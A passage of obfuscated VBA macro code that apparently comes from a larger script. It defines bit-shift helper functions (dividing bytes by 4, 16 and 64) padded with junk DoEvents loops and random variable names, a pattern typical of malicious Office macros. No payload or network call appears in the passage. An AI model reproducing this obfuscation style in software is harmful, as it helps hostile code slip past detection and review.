For ObrGcPZwrUQ = 722 To 722 + 5
DoEvents
Next ObrGcPZwrUQ
Dim rGntMUKqlmk As Integer
For rGntMUKqlmk = 1021 To 1021 + 5
DoEvents
Next rGntMUKqlmk
End Function
Private Function LBCH1U(ByVal bytValue As Byte) As Byte
 LBCH1U = bytValue \ &H4
Dim VhyMiVfDybdJ As Integer
For VhyMiVfDybdJ = 2426 To 2426 + 5
DoEvents
Next VhyMiVfDybdJ
Dim LnGmKcoc As Integer
For LnGmKcoc = 1414 To 1414 + 5
DoEvents
Next LnGmKcoc
End Function
Private Function fmTcJ(ByVal bytValue As Byte) As Byte
 fmTcJ = bytValue \ &H10
Dim BDYAFSdyLzlM As Integer
For BDYAFSdyLzlM = 1806 To 1806 + 5
DoEvents
Next BDYAFSdyLzlM
Dim LAgccafQQ As Integer
For LAgccafQQ = 2473 To 2473 + 5
DoEvents
Next LAgccafQQ
End Function
Private Function jWw(ByVal bytValue As Byte) As Byte
 jWw = bytValue \ &H40
Dim zTnhQC As Integer
For zTnhQC = 1217 To 1217 + 5
DoEvents
Next zTnhQC
Dim dYBDkqJRH As Integer
For dYBDkqJRH = 1328 To 1328 + 5
DoEvents
Next dYBDkqJRH
End Function